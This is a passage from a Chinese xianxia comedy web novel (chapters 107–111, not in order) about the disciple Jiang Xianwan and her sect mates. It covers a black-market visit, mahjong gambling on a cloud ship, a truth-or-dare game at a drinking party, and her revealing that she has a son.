她抬脚走出,看着瞬间烂成八瓣的门,唇角顿时一抽,“没把您撞死吧?” 垂眸弹开衣袖上木屑的男子,在听到身侧传来的声音,整个人霎时僵凝。 他猛地抬眸,淡然的表情一瞬间换了十几种。 神色难耐,张了几次嘴。 半晌,终于吐出两个含着各种复杂情绪的字。 “早早。” 他绝对不会看错。 哪怕她容貌已经长开,面庞一大块不容忽视的红色痕迹。 可这个活生生站在她眼前,让他满北境好找的少女,就是那个想要看世界,拍拍屁股跑路的江早早! 江献晚淡定地拍去衣袖上的木屑,视线掠过他身后的白衣少女,勾唇一笑,“雾掌门,我叫江献晚。” “献身的献,晚了的晚。” 顿了顿,又意味深长地道:“您看人的眼光还是这么不准。” 说罢,头也不回地离开。 林轻染觉得自己此刻已经不知该想什么了。 她脸色是掩饰不住的难看。 “师尊,您认识她?” 雾渺勉强回过神,表情还是怔忪的。 忽而踉跄一步,像是被谁重重推了一把,堪堪扶稳门框,甚至可以称得上是失魂落魄。 “江早早……江献晚。” “江献晚。” “江献晚。” “晚晚。” 死丫头,让他好找。 林轻染再维持不了一贯温柔的语气,僵硬地扯出一抹笑,“师尊,什么江早早,她到底是谁?” 另一边,江献晚看着站在木梯口处的裴长安,淡定地道:“裴师兄,让一让。” 裴长安僵硬地侧过半边身子。 江早早。 那个来无影去无踪,在万古宗从未留下一丝痕迹,每月都会去雾顶峰,曾与他有几面之缘的少女,是……江献晚! 苏清流冷眸滑过雾渺和裴长安,举步跟着离开。 白子夜和林玉锦目不斜视,强忍着杀人的冲动,连个多余的眼神,都不愿分。 他们拉着一个本地人,花了十块灵石打听到黑市的位置。 刚换好装备从小巷子钻出来,有些吃惊。 这才发现,短短一会儿,繁华郡往来行人多出数倍不止。 “看来都是奔着两境三域的大赛,过来看热闹来了。” 街道上除了人族修士,赫然堂而皇之出现不少魔和妖。 那些男魔大多体型强悍,穿衣简单粗暴,甚至不穿上衣。 魔女穿衣尤为大胆,只有一片清凉的薄纱遮挡重点部位,比起妖域,还要豪放。 最亮眼的还是那些相貌美艳的妖族。 他们身上皆保留着妖的特有象征。 引以为傲的翅膀尾巴或是耳朵,更是坠着各色灵石法宝。 江献晚和林玉锦瞬间看花了眼,幸福的直流口水。 尤其当一个长着一双洁白大翅膀,优雅无比的白鹤妖,从面前缓缓经过。 两人像是被勾了魂,不由自主地跟了上去。 “一百块灵石,可以摸摸你的翅膀吗?” 白鹤一愣,狠狠瞪了一眼江献晚,“你说什么?” 区区一百灵石,竟然想摸他的翅膀。 她是不懂妖的翅膀代表什么吗? 不要脸! “二百。” “滚!” “三百。” 刷地一声,白鹤妖展开雪白的大翅膀,就要给她一个大耳刮子。 “五百!”江献晚冷冷道。 不能再多了! 她此刻无比羡慕江行行,每天过的那叫什么好日子啊,难怪玩的乐不思蜀,满妖都跑。 最后,白鹤红着脸抱着五百块热乎的灵石走了。 五百灵石,可以买好多东西了。 西头那家人族的糕点铺,看起来就很不错。 江献晚心满意足地捏着一根从白鹤翅膀上撸下来的羽毛,头顶忽然传来一道声音。 “人族的小妹妹,我可以捏捏你的脸吗?” 只露着小半张脸的江献晚:“……?” 苏清流三人:“……?” 江献晚冷着脸对长得像座小山,光着上半身,肌肉健硕的魔道:“你说什么?” 魔两眼炽热,“一百块灵石。” “呵。” “五百块灵石。” “嗤。” “一千块,不能再多了!”他露出肉疼的表情。 江献晚绷着脸:“只能捏一下。” 三个师兄死拉硬拽,硬是没拉住江献晚。 江献晚抱着热乎的一千块灵石,相当满意。 林玉锦酸道:“难道我长得不好看?” 他话音刚落,几个穿着性感的魔女走了过来,热情地贴上苏清流和白子夜。 “两位漂亮的小弟弟,肌肉可以让姐姐摸一下吗?” 苏清流白子夜:“……?” 身材高大的魔紧跟着一把揽住林玉锦的肩膀,“一千块灵石!” 四人红着脸很快来到一条巷子,看到一个背负长剑,面具遮脸的修士直直穿墙而过,立马跟上。 果然,不管到哪里,黑市的模式万变不离其宗。 苏清流他们叮嘱过自己的小师妹,默契的朝着不同的方向走开,以防对方窥探自己将要为江行行准备的礼物,甚至连江献晚也顺便防了。 他们不担心黑市一下出现这么多妖魔,会有什么危险。 黑市都有一项铁律,那就是不可在黑市斗殴打杀。 当然,出了黑市,没人管你。 况且,玄古大赛在即,繁华郡各个势力高手云集,这节骨眼没人会上赶着挑起事端。 第 111 章 我有一个儿子 他想赢!他想赢!!他真的想赢一次啊!!! 江献晚笑的像艳丽的魔鬼,嗓音温柔,充满慈爱:“当然可以。” 送上门的钱,岂有不要的道理。 徐燕洲:“……”说真的,他为什么想不开,非要跟着!!! 另一边,情况也没好到哪里去。 何未语苍白着面颊,捂着心口,在微风中剧烈的摇曳,“本自同根生,相煎何太急!” 林玉锦冷冷一笑,“呵!谁跟你同根生,苦情戏,莫地用!” 最后,忍无可忍的徐燕洲气的一拳干穿了云舟,哭唧唧的长老各自拎起自家哭唧唧的弟子,才结束了这场友好交流。 南北两境,六大宗会面,高层自然少不了寒暄。 苏清流三人并行于铁长老身后,将江献晚挡的严严实实,万事最前方的花美人先上。 江献晚与哭唧唧的何未语并行,透过三个师兄的肩膀缝隙,目光落在北境队伍为首的万古宗掌门身上。 年轻的男人一身镶绣着银丝边,流云纹的白色云缎长袍。 雍容清贵,清华若仙,如琼枝一树,像极了行云流水般高妙的古曲。 以他为首,北境三宗修士皆朝凤仪剑尊款款一揖。 裴长安一眼便看到了人群中的江献晚,开心的举起手臂,朝她欢快摇晃。 无声喊道:江师妹! 三个少年:“……” 默契的挡严实江献晚,根本不看他,更不给小师妹被他看见的机会。 裴长安:“……” 好歹风雨同舟过的,你们这几个冷漠无情地人! 他真的……要闹了! 那日离开太虚宗,他亦是进入炎洞闭关月余。 不知为何,再出来,对林轻染疼爱的心思淡了十分。 甚至经常会想,江献晚是不是又给太虚宗的弟子讲故事了。 又或者,是不是被罚单手倒立抄写宗规,还吃了不少竹笋炒肉。 还有,相见恨晚,到底是不是江献晚。 若是,江献晚是不是初时是他们北境的人。 裴长安忍不住又对着江献晚弯了弯唇。 这一举动,惹的三个少年眼露杀气,拿眼刀子嗖嗖剜他。 林轻染看了一眼身侧笑的不值钱的少年,气的恨不得给他一脚。 呵,男人。 真是靠不住。 修言他们见裴长安热脸贴冷屁股,疯狂脑补。 前段时间,雾掌门的那位亲传女弟子,一人单挑整个太草峰弟子。 来龙去脉传了一百个版本。 总之,哪个版本都是咋舌的程度。 后来还在新开的秘境争抢生灵果来着。 修言跟江献晚已经混的快穿一条裤子了(当然,这是他自己的认为),无比悔恨自己为什么没去那个秘境。 他凑过来,诚实的道:“江师妹,我看见对面那个女的刚才瞪了你一眼。” “就是穿着万古宗服饰的那个女的。” 就差点名道姓了。 何未语哭唧唧,还不忘道:“对,我也看见了。” 江献晚:“……”那你俩看的可真仔细。 俩人声音清澈,故意没压。 有妖魔的时候南北两境都是自己人,没妖魔的时候,南境三宗自然要同仇敌忾,一致对外,万不能被外人欺负了去。 修真者本就耳聪目明。 尤其各宗高层,悉数听了个清楚。 徐燕洲和道明宗天青宗掌门正礼貌性笑着的嘴角,瞬间绷紧。 雾渺寻声,缓缓侧目。 一时间,还算友好的气氛瞬间不对了。 花不休乌睫轻掀,戾气微薄的眼眸,若有似无落在雾渺脑袋上。 万古宗弟子:“……?” 裴长安又双叒叕丢脸的垂下了头。 林轻染一口气差点没上来。 她顶着各种几乎凝成实质性的异样目光,想解释。 又怕太虚宗的人当着两境的面,说出什么埋汰她,坏她名声的话。 不解释,咽不下这口气。 几番心死挣扎,只能装作一副淡然,任凭别人误会,面色不改的无问无愧形象,当他俩放了个屁。 雾渺皱眉,转身间阔袖垂地,徐燕洲不动声色挡了他的视线,声音却失了几分笑意,“雾掌门,请。” 这一请,打破了诡异的气氛,众人跟随凤仪剑尊,鱼贯而入,进入仙莱客栈。 花不休同四个孽徒来到一间客房,挥袖布下结界。 “为师给你换张脸?” 江献晚还心虚着,不敢看他,“不用。” “那成。”花不休瞅了一眼低着脑袋的孽徒,走了。 林玉锦:“小师妹,你们在说什么,我听不懂。” 白子夜:“最蠢的林老三听不懂就算了,我竟然也没听懂。” 江献晚挠挠脸,平地放雷,“哦,这个啊。我曾以江早早的名字,在万古宗待过一年。” 苏清流微微一怔,意识到她准备好了,青袖下手指紧张的屈起,“小师妹。” 江献晚摆手,继续丟雷,“嗨,不是弟子,我睡了北帝尊一年罢了。” 三人:“……?!” 睡了……北帝尊! 北境帝尊! 一年! 三个少年怔忪的望着烛火下笑意浅浅的小师妹,皆悄无声息红了眼眶。 他们哪里猜不出。 猜不出这件事恐怕另有隐情。 苏清流闭了闭眼,微微颤抖的手轻轻扣在江献晚后心,拥入怀中,“都过去了……” 江献晚眨眨眼睛,面颊在他衣襟上蹭了蹭,“嗯,都过去了。” 又轻声道:“对不起,我,我还有一件事,哦不,两件。” 苏清流缓缓松开她,揉了揉她的乌发,“不要说对不起,你若没有做好准备,等你想说的时候再同我们讲。” 他笑了笑,眉眼却怎么也舒展不开。 “不管什么,我们永远在身边。” 白子夜和林玉锦也来揉她的脑袋。 江献晚感动坏了,搓手,“那个,没啥,先说好了,我绝不是把师兄当外人,只是后来不知道怎么开口。” 三个少年下意识屏住呼吸。 总觉得有种很不好,又还不错的纠结的天塌地陷之感。 说就说,但……能不能别做这种心虚的小动作啊! 他们何其了解自己的师妹。 这般心虚的样子,绝对是干了什么惊天动地,鬼神哭泣的大事! 江献晚在三双紧张到快要崩断的目光中,嘿嘿一笑。 “就是,我有一个儿子。” 三人:“……!!!”猝! “快两岁了。” “江行行他亲爹是帝隐。” “不过,他现在是风回雪的儿子。” 三人:“……!!!”啊啊啊啊啊!!!!!! 第 110 章 内讧 林玉锦梗着脖子狡辩,“你看错了!” “好啊,为了赢脸都不要了是吧!” “那是你技不如人!” 天青宗和道明宗高层:“……” 不是,放屁功夫,就已经这么熟了吗? 还有,这些被宗门寄予厚望的亲传,短短片刻,怎么都跟被邪祟附体了一般。 两个掌门一致拿扭曲的小眼神,猛瞅太虚宗掌门。 你家邪祟可真牛逼。 徐燕洲:“……”熟稔的弯下了脊背,根本不敢跟两人对视。 江献晚被他们吵的脑壳疼,暴脾气上来,一拍桌子,“都别吵了!一群老爷们小娘们烦不烦!” “再拉出一张桌子,我这里还有一桌麻将,你们不是看会了吗?都给我滚一边去!” 云舟多出一张桌子的同时,亲传们打的扯头花。 “我先抢到的!你滚啊!” “我呸!明明这张凳子是我先摸到的!” “我屁股先坐上来的!” “呵呵,那大家都别坐!” 三宗亲传为了一张桌子四把凳子,争的好一阵鸡飞狗跳。 剩下四个没抢到位置,一脸天大的委屈,围上江献晚,“我们怎么办?!” 江献晚头也不抬,“你们负责端茶倒水,捏背捶腿。” “凭什么!”四人齐声大声反驳。 江献晚拍出四块极品灵石,冷眸如电,乜去,“就凭它!” “好的!请问您想喝什么茶?菊花还是茉莉?” “江师妹,您胳膊酸吗?” “你走开!这个胳膊归我了!那个我也要了!” “要你奶奶个腿!这条胳膊是我的!!!腿也是我的!!!” “我糊了!我糊了!” 激烈的争吵声中,修言手舞足蹈,差点把桌子掀翻。 方才的稳重自持,早已随着十几块灵石烟消云散。 他迫不及待地朝被四人撕吧的快要成肢体碎片的江献晚伸出一只手,“江师妹,快掏钱!” 他们道明宗可太穷了! 钱都花在老婆身上,时不时就要淬法器。 还有那四头熊……让他欠下的天价账单! 江献晚坏坏勾唇一笑,丝毫没有输钱的痛苦,很爽快的掏出十几块灵石。 看了好一会儿的三宗高层:“……” 好吧,虽然有病,但这又何尝不是一种迅速打成一片的方式。 不过……看起来好像……很好玩。 徐燕洲和铁长老两脸忧愁地望着大气掏往外灵石的江献晚,修言正拿一种崇拜的目光眼巴巴地看着她。 江师妹掏灵石的动作,为何如此迷人? 天青宗掌门和道明宗掌门一对眼,“要不……?”赚点外快? 两人炽热的小眼神刷地瞅向最有钱的太虚宗,徐燕洲默默拿手捂脸。 耐不住两个友宗的苦苦哀求,在徐燕洲和铁长老惊悚的注视下,两宗高层凑出一堆灵石,风风火火刻麻将,还不忘催促他俩赶快加入。 快乐的时光总是很短暂的,赌狗的失败更是令人心酸。 云舟平稳地悬在繁华郡上空,下方一群刚到此处,或白衣飘飘,或黑衣稳重,或紫衣靡靡,仙气泠泠的北境三宗队伍抬头望天。 林轻染望着云舟上身着青裳的四道身影,面露郁色。 她失了痕剑,失了生灵果,失了颜面,更未夺取灵根。 被一群修士堵在秘境出口,好不容易突破重围,前脚灰溜溜从南境离开,刚回到万古宗,气还没来得及喘,后脚就被雾渺罚入炎洞。 还是提前吩咐弟子,等她归来,自进炎洞受罚一个月,又恰逢春潮期,险些死在里面。 林轻染不明白。 明明受了委屈的是她,雾渺既没有安慰,更未见她一面。 林轻染压不住眼底的恨意,眸光显得有些狰狞。 更可气的是,这两年来在万古宗统共只点亮的两位美人图鉴,如今……全熄了! 她遥遥看向虚古境,心中难免焦急。 系统更是烦躁不已:“你当前要做的就是快些突破化神!厄弓更不可再失手!” “没有生灵果我如何突破?” 任她暗示明示,裴长安竟自己吃了那颗生灵果! 想到这里,林轻染心中又是一阵憋屈。 系统再次暴走:“虚古境灵塔灵气精粹浓郁,我可以助你抽取那些灵气,快速突破!等大赛结束再取厄弓!” 林轻染却有些犹豫,“灵塔若没了灵气,我又将厄弓拿走,底下的东西怎么办?” “怎么办!怎么办!这同你有什么关系!”系统不耐烦道:“你还要不要厄弓了!” “要!”林轻染下意识道。 没有十八位美人图鉴的气运,她照样能突破化神,乃至合体渡劫,一剑斩化神。 松口气的同时,耳边嗡嗡的讨论声拉回了她的思绪。 “南境的道友?” “他们怎么还不下来?” “上面怎么好像在吵架?” “那是……徐掌门他们怎么也在吵架?!” “怎么回事?有两个长老怎么还打起来了!” “南境他们这是起内讧了?” 北境三宗伸着头看热闹。 他们猜的不错。 确实是内讧。 云舟上,有人笑开颜,有的输的眼都红了。 甲板上,下到亲传,上至三宗高层,一片嗷嗷,群魔乱舞。 天青宗掌门和道明宗掌门一人抱着凤仪剑尊一条腿,哭天抹泪,“剑尊,您行行好,给我留点买裤衩的钱吧!” 徐燕洲:“……” 拦又拦不住,说了又不听。 放眼望去,其他有的笑的合不拢嘴,有的输的跪在云舟上请苍天……各个得了大病似的! 就连铁长老都坐在那里,捧着一堆灵石小山,一脸陶醉。 徐燕洲深吸一口气,视线艰难地从两个扯头花的长老身上挪开,决定先将罪魁祸首摇醒。 白子夜正蹲在江献晚身边,摸摸这块灵石,摸摸那块灵石,苏清流唇角亦是沾了几分真心实意的笑意。 修言不耐烦地挥开挤开白子夜和苏清流,趴在江献晚耳朵边大声喊‘到站了!’的徐燕洲。 他眼眸通红,跌坐着,死死地捏着那块仅剩的下品灵石。 一只手脆弱地揪紧江献晚的衣摆,“江师妹,咱们好歹这么熟了。” 江献晚微微一笑,看似端庄,实则用力掰开他的手,无情地抠走那块灵石。 “修师兄,你还欠我六十二块中品灵石,看在我们这么熟的份上,给你抹个零头。” 修言:“……谢谢。那个,等下了船我们再玩两把可以吗?” 第 109 章 搓麻将 江献晚掏了掏耳朵,“你说啥?” 这小玩意儿想了半天,让她去亲花美人? 这是惩罚吗? 这特么不是奖励吗? 江献晚瞅了一眼身旁侧卧竹榻,睫毛阖紧,俨然醉意昏沉的凤仪剑尊,逐渐露出古怪的神色。 她虽然敢……但也没搞师徒恋的癖好啊! 时云霄捉住了她的一点抗拒,他心中执念太深,竟一下掀开了苏清流三人,大声吼道:“不敢是吗?呵呵!江献晚!你这个loser!我将深深唾弃你!永远唾……” “吧唧——!” 江献晚揪着花不休的衣襟,亲了一口响的。 没人看到她俯身时一瞬间的犹豫,和紧随而来的毛骨悚然。 那双剔薄的乌睫如蝶翼簌簌,一双水色淋淋,隔雾看花般的眸子,倒映出她错愕而心虚的面庞。 “咚”一声,江献晚差点背过气,像是有一串纷乱的鼓点,在耳廓中隆隆的炸开,只觉从头麻到了脚。 花不休脸颊晕红,唇珠嫣然,就那样静静的看着她,清幽的眸中除了濛濛烟雨,此刻哪像有半分醉意。 甚至,她似乎从那双含着什么情绪的眼睛中,看出一丝看不起的嘲笑。 江献晚一挑眉。 花美人在嘲笑她不敢? 很好。 江献晚反骨又蹦出来了,一手猛地揪住美人师尊的衣襟,一手捏住他的两腮,在那双陡然僵滞而怔愣的眼眸中,凶狠的亲了下去! 她敢! 她才不是loser! 别说一口,就是两口,她、也、敢!!! 江献晚在那张绝滟的美人面留下一个响亮的吻,快速将花不休松开,绝不承认……还是有一点怂了。 祝茵曼和楚微凝首先一个激灵,抬手合上快要掉在地上的下巴,不约而同,激动大声询问,“剑尊好亲吗!” 江献晚极力忽视背后的目光,更不敢看三个师兄的反应,背地里冷汗直流,明面依旧嚣张,“宛如剥了壳的嫩鸡蛋!” 对上一群全疯了的观众,她淡定的面色倏尔一变,咬牙切齿将桌子轰然拍成碎屑。 “今晚谁特么都别想活着出去!” —— 翌日。 晨光微熹,薄雾飘渺。 一艘巨大的云舟悬在山门前。 凤仪台的人来的最晚,被掌门嚎了半天,才从一群横七竖八的醉鬼中睁开眼皮。 花不休青衣墨发,扫了眼看天看地,就是不看他的孽徒,款款率先走出凤仪台。 江献晚流着冷汗,同三个师兄跟上。 宗门外,一蓝一黄两群修士,身姿挺拔,站的跟小白杨似的,只不过,各个脸上带着一种历尽千帆的沧桑。 林玉锦拿胳膊肘碰了碰江献晚,冲她挤眉弄眼。 白子夜:“你眼抽筋了?” 林玉锦:“……” 江献晚顺着看去,才知道小师兄为何如此激动。 道明宗那个身背令牌,为首的亲传,可不就是在小树林,被扒的只剩条裤衩的那位。 三宗修士在一种奇奇怪怪的对视中,终于坐上前往虚古境的云舟,江献晚他们的位置刚好与道明宗四个弟子对坐。 她盯着修言的脸,神色有些诡异。 白日里视线清晰,对面少年一身弟子服板正得体,不仅帅,身材还好。 难怪被那六个身强体壮的劫匪揩了油。 见太虚宗亲传直勾勾地只盯修言,天青宗四个亲传下意识也跟着盯。 主打的就是一个从众。 修言坐立难安,被盯的浑身不自在。 他旁边的弟子悄悄地问道:“大师兄,他们为何一直盯着你看,不讲话?还有,何师姐他们的眼神,怎么看起来也很变态?” 修言暗暗踹他一脚,缓和尴尬气氛,主动打招呼,“那个,我叫修言,还未请教各位道友名讳?” 苏清流面不改色报了名。 修言觉得他的声音有些熟悉,直到白子夜林玉锦和江献晚一一开口,他便秘的表情,愈发一言难尽。 “那个,咱们是不是在哪里见过?” 四人:“……” 黑市外,小树林,你被劫匪扒光,胸膛上还被抓出两道暧昧的红印。 当然,为了防止友宗道友被劫匪揩油的事,暴露在三宗面前,羞愤欲死,再从云舟上跳下去,四人善良地选择否认。 苏清流:“并无。” 白子夜:“从未。” 林玉锦:“没。” 江献晚:“我长这么大,从未出过山门。” 徐燕洲铁长老:“……?” 你们四个因为翘课,吃了多少竹笋炒肉,写了一座山的宗规,心里没点数吗? 然而,江献晚他们越是一口咬定没见过,修言越觉得不对。 他盯着坐在他正对面的江献晚,坚定无比,“不,我总觉得我们见过。” 见所有人打量的目光跟着全落在江献晚脸上,苏清流眉眼稍敛。 他刚要越过林玉锦,准备和江献晚调换位置,天青宗那位气质温婉的大师姐,亲昵地将江献晚拉到自己身侧,凑近她耳畔,嗓音也是温温柔柔。 “我姓何,叫我何师姐就成。你别在意别人的目光,我觉得你很漂亮,真的。” “容貌只是点缀,灵魂才是重点。” 江献晚点头,“何师姐,我觉得你说的特别对。” 何师姐:“……” 云舟穿过云雾,平缓地往前驶去,太虚宗很快消失在众人视线。 众人大眼瞪小眼,干巴巴地你一句我一句,试图快速熟悉,并打发四五天的路程。 江献晚无聊透了,灵光一闪,“打麻将吗?” 众人:“……?” “打!”林玉锦飞快举手。 顺便赚个外快。 刚坐下来,屁股还没暖热,正打算议事的三宗高层。 听着外面忽然嘈杂甚至激动的动静,还以为三宗亲传起了争执,连忙起身出去查看。 这么一看,徐燕洲眼皮子一跳,险些晕过去。 小兔崽子! 完了完了,祸害自家人不够,果然盯上整个南境了! 她是有什么心事,准备统治全世界吗! 在徐燕洲绝望的目光中,一群少年密不透风的围着一张桌子,热热闹闹的挤在一处,比比划划,言辞激烈,哪里还有刚见时的客气和高冷。 “观棋不语真君子!你们给我闭嘴!”江献晚两手掰着桌子,毫不留情地朝挤在修言背后的道明宗弟子吼过去。 三人心虚地四十五度角望天,装聋作哑。 他们只是想赚点钱,有错吗? 再说,他们又没说过自己是君子…… 方才初见时温柔端庄的何师姐,此刻将桌子拍的哐哐响,一指林玉锦,厉声喝道:“你偷牌!” 第 108 章 取悦我 随着一圈圈眼花缭乱的残影,被扫过的人和剑,还有小紫,大气都不敢喘。 在所有小伙伴的紧张注视下,桃花枝终于渐渐停下。 一端正朝时云霄,尾巴对着江献晚。 “时师兄!哈哈哈!” “恭喜恭喜!” 逃脱一劫,在座的那叫一个幸灾乐祸,拍桌子的拍桌子,嗡嗡的嗡嗡,扭曲的扭曲。 为时云霄默哀三秒的同时,又为自己的小命担忧,还不忘使劲拱火。 时云霄没想到自己脱颖而出,首当其冲,中了头等大奖,一哆嗦,酒意清醒了三分,冷汗直流,“冒什么险?” 江献晚当场就笑了,笑的那叫一个猖狂,可想而知,一肚子坏水全等着往人身上使了。 她一脚踩着凳子,手扶着膝头的酒坛,笑的浑身都在抖,手里的小紫跟着她一块抖。 “哈哈哈!时云霄!你死定了!” “你绝对死定了!” 时云霄觉得自个落在江献晚手里,确实没有活命的机会。 在听到她的话后,饶是有心理准备,红脸还是刷地变白脸。 轰地一下爬起来,撸袖子,急眼,“江献晚!你说什么!你特么再说一遍!” 江献晚仰天桀桀罢,冷冷道:“再说两遍!快点!拿出你的玉简,给铁长老发语、音、申、请!” “敢说错一个字,我立马跟你回家!” 跟他回家? 时云霄刷地低头,二话不说掏出玉简。 “别,请您稍等。” 他觉得第一个死法还挺好的。 气氛一静,人剑一致朝他倾身,小紫更是杵他脸上,从头到脚写满火辣辣。 时云霄连连咬牙,在各个变态的瞩目下,含着绝望的泪水,连通铁长老的信道。 铁长老心情随着三首歌起起伏伏,跌跌宕宕,还很是不能平静,看到时云霄的语音申请,狐疑接通。 他们不是正在凤仪台跳大神,鬼哭狼嚎吗? 今天结束这么快? 铁长老刚想问什么事,只听时云霄麻木的声音没有一丝起伏,“铁长老,您睡了吗?” 铁长老:“……睡了。”好不容易睡着,就被江献晚吼的一哆嗦,吓醒了。 诡异地,他突然觉得对面的死寂和时云霄的语气很诡异。 下意识抱紧被子,十二分警惕,沉声道:“小兔崽子,你想说什么?” 时云霄在另一头一边双目充红死死锁定江献晚,在一张张魔鬼般的狰狞面庞,还有散发着无尽邪恶的剑和劫雷的威逼下,默默连吸几口长气。 意识到没一个会放过他,心死阖目,念出自己的台词—— “我想说……” “铁长老。” 铁长老:“……” 少年嗓音低沉华丽,似乎鼓足了此生所有的勇气。 让人听的格外动容。 他说。 “过来。” “取悦我。” 十息后,远处峰头传来一声地动山摇的爆喝—— “时云霄!江献晚!” “老子扒了你们地皮!!!” 江献晚:“……”别说,铁长老变聪明了,嘿嘿嘿。 料定铁长老不敢来,江献晚愈发猖狂,在场所有观众更是只活眼下,笑的满地找头。 第二轮很快继续,在桃花指向秦秦,末梢指向苏清流时,江献晚又开始桀桀狂笑不停。 大师兄,腹黑指数,一万颗星。 白子夜跟林玉锦两双眼睛一扫熏熏然之色,刷地变得格外精明。 异口同声,“大师兄!” 苏清流唇角一侧勾起,双手环抱,歪头好整以暇乜向秦秦,“秦师弟,我也不难为你。” 他声音恹恹,却一句话将游戏推上高潮。 “你去亲时师兄一下。” “哦,嘴对嘴。” 江献晚嘎嘎乐,第一个啪啪鼓掌:“亲一个!亲一个!亲一个!” 秦秦:“……?!” 时云霄:“……?!”怎么又是他?! 磕疯了,真的磕疯了。 无谁在意他俩的死活。 “亲一个!亲一个!” “亲——一——个——!!!” 在所有观众,强烈强行强制要求威逼下,两人隔着一张脆弱的薄纸,摇摇欲坠,来了一个破碎、屈辱、还很想哭的,并不走心的吻。 时云霄连吃两回亏,忽然一改方才恨不得把自己一头撞死的绝望,咬牙一笑,“我来转。” 他那双似含着凌厉刀锋的眼睛,死死绞着江献晚,灵力一撞桃花枝,声音格外惹人醉,“师妹,你可要瞧好了。” 话音未落,江献晚一掌拍在桌上。 两股灵力相撞的瞬间,空气涟漪剧烈波动,三个青衣少年指尖迸射出一簇灵力,猛攻时云霄。 这一变故,亲传登时跟着支棱了起来。 时师兄找到漏洞,明显要报方才大仇,操控桃花枝作弊,以此反杀江献晚一波。 他们不约而同想起被江献晚折磨的死去活来的六日,和最近在她身上栽过的跟头。 气氛又开始陷入另一种焦灼,各峰亲传轰地一下,几乎同时间爬起来。 除了还在怀疑人生的秦秦,数十道灵力丝线缠上那截可怜的桃花枝,两方极限拉扯。 剑和小紫纷纷飘到江献晚身后,充当气氛组,嗷嗷加油。 江献晚操控灵力的手纹丝不动,同三个师兄,抗下其他敌人所有反抗,呵呵冷笑,“你想造反?” 时云霄隔着桌子,缓慢朝她倾身,回以反派冷笑,“师妹无德,师兄为何不能反?” “就凭你?” “呵呵,江献晚,睁开眼睛看看我身后的兵!” “区区蝼蚁,不自量力!” “师妹难道不知,蝼蚁虽小,亦可撼树!” 所有观众:“……” “哦。”江献晚兀自点头,“你终于承认你小了?” 在场所有:“……?!” 时云霄声一止,汹汹气势猛然一僵,冷脸变作破碎脸,刹那间形势调转,士气全无。 许久,他哆哆嗦嗦的唇瓣一张,双目赤红,嗓音声嘶力竭,激动反驳,“我!不!小!!!” “不——小——!!!” 时云霄破如防,灵力跟着癫狂。 或许,上天都在可怜他,桃花枝在灵力挤压的音爆声中炸了。 仅剩的一朵花,在观众们忽然安静下来的注视中……花瓣正对江献晚,尾巴对着时云霄。 时云霄一掌拍碎桌子,仰天大笑,红着眼睛猛地乜向江献晚,“哈哈哈哈哈哈哈哈哈哈!江献晚!你死定了!你绝对死定了!” 观众:“……”不难看出,时云霄疯了。 半柱香后,观众皆蹲在地上,精明锃亮的目光,在江献晚和不胜酒力睡去的剑尊身上来回嗖嗖扫射,各个散发着一股迫不及待的猥琐。 三个少年凶狠地掐上时云霄的脖子,“狗东西!你是不是不想活了!” “时云霄!你找死!” 时云霄癫狂大叫,“来!掐死我!” “江献晚!任你千军万马心狠手辣,我亦勇往直前,无惧无畏!” “就算我死了,还有千千万万个我站起来!” 观众点头。 “江献晚!你敢耍赖我做鬼也不会放过你的!” “不会——!” “永远不会——!” 第 107 章 大冒险 见剑尊一手拿着小刷子,一脸悠然的翻动竹签,众亲传还是没能战胜对食物的渴望。 管他呢,秦秦这个厚脸皮的不是也在,就当自个眼瞎,看不到剑尊不就行了。 时云霄他们刚开始还有些局促,抵不住江献晚会使唤人啊。 指挥秦秦和时云霄添三张桌子合并,让楚微凝和祝茵曼帮忙打下手准备菜。 总之,添碗的添碗,添筷的添筷,各个都别想闲着。 众人忙的热火朝天、乱七八糟、满头大汗,只有江献晚抱着酒坛子在指点江山。 “翻啊!李师兄,糊的你自己吃!” “刷蜂蜜,对,别刷太厚,你是烤蜂蜜还是烤肉?楚师姐,你是把卖盐的打死了吗?” “大傻春!你在干什么!放回去!生的不许吃!” “大师兄,我杯子掉了,你旁边那个有人用没?” “哟!师尊,烤的不错啊,我先替您尝尝。” “小师兄,尝尝我调的螺蛳粉味烤肉,大师兄二师兄,你们也整两串。” 得亏江献晚脸皮厚,剑尊都被她使唤的明明白白,亲传很快本性暴露,小嘴又开始叭叭。 “江献晚,凭什么我们干活你看着?” “对啊,好没道德。” “她本来不就没道德,你再气她,她又得崩山了!” “哈哈哈!想到铁长老顶着两只黑眼圈授课,我都想笑。” “还说呢,我师尊现在都整出心理阴影了,每天都要嗑一瓶丹药才能睡着。” “我师尊她也没放过,睡觉前都要检查三遍门窗!” “说的跟她放过我们似的!” 酒菜一下肚,亲传开始大倒苦水,合伙指责江献晚。 彻底放飞自我,仿佛一万只鸭子,嘎嘎乱叫。 江献晚连喝十几碗,有些上头,再加上一群大宝剑突然到访兴奋加入,掏出一把二胡,“来!晚姐我给你们唱首歌助兴!祝师姐,拿出你的唢呐,跟我一起嗨起来!” 被点到名,祝茵曼那叫一个自豪,挺胸抬头,举起唢呐。 亲传啪啪鼓掌,剑噼里啪啦一顿摇晃。 随着气势磅礴,豪迈高昂的一句—— 大河向东流,天上的星星参北斗哇! 划破长空,撕裂天际,奔放如黄河奔涌,拉开序幕。 整个太虚宗上下,还有天青宗和道明宗的道友,垂死病中惊坐起。 太虚宗上下:特么……还以为江献晚又来了。 天青宗道明宗:太虚宗闹鬼了?! 俩掌门忙给徐燕洲发短信,如下—— 徐掌门,需要我帮你们驱魔吗? 徐燕洲:“……” 过了会儿,一脸麻木的众人,听着远远传来的歌声……逐渐有种热血沸腾的感觉。 还有种想要造反,拉个人拜把子的冲动。 没完。 荡气回肠的一曲结束,众人心情还没能平复,凤仪台又传来好似历经沧桑后,洒脱而通透的歌声—— “曾梦想仗剑走天涯,看一看世界的繁华……” 众人心情随之一拧:敬过往,更敬未来。 还想起曾经那个让人心疼的姑娘(少年)…… 众人不由自主透过窗户遥望明月,双眼失神,千滋百味,无法自拔……那音调再次丝滑一转,不给人喘息的时间。 “妈妈……烛光里的妈妈……” 众人:突然好想妈,呜呜呜…… 天青宗掌门和道明宗掌门吸了吸鼻子,不约而同给徐燕洲发短信:徐掌门,你知道吗?我突然想我妈了。 徐燕洲:“……”说的跟谁不想似的! 另一边客房,修言抱着被子敲开他师尊的门,抽噎着抹泪,“师尊,您能当一会儿我妈吗?” 道明宗掌门:“……” 所有听众捏着被子开始抹眼泪。 凤仪台玩开心了,一会儿激动,一会儿忧伤,一会儿汪汪哭。 又是手拉手,又是手拉剑,又是大合唱,丝毫不管其他人的死活。 